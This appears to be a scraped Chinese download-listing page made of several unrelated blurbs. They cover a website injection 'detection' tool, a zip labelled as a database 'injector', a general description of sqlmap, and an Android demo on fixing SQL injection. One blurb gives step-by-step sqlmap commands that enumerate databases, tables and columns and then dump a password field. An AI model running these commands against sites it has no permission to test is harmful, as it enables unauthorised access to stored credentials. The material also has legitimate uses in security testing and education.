强大的网站检测漏洞工具，通过注入数据来查找漏洞，本软件仅做学习之用，不要恶意使用，否则后果自负。 网站攻击检测，也可以测试自己网站是否抗揍

APK网络验证后台数据库+注入器.zip

注入步骤： 检查注入点 sqlmap -u http://url 列数据库信息 sqlmap -u http://url --dbs 指定库名列出所有表 sqlmap -u http://url -D dbname --tables 指定库名表名列出所有字段 sqlmap -u http://url -D dbname -T tablename --columns 指定库名表名字段dump出指定字段 sqlmap -u http://url -D dbname -T tablename -C ac,id,password --dump

sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。

一个Android的demo工程，演示了如何解决数据库注入漏洞问题。 针对3种查询：rawQuery，query，以及LitePal的查询。 更详细的说明，参见相关博客文章：https://blog.csdn.net/lintax/article/details/79831376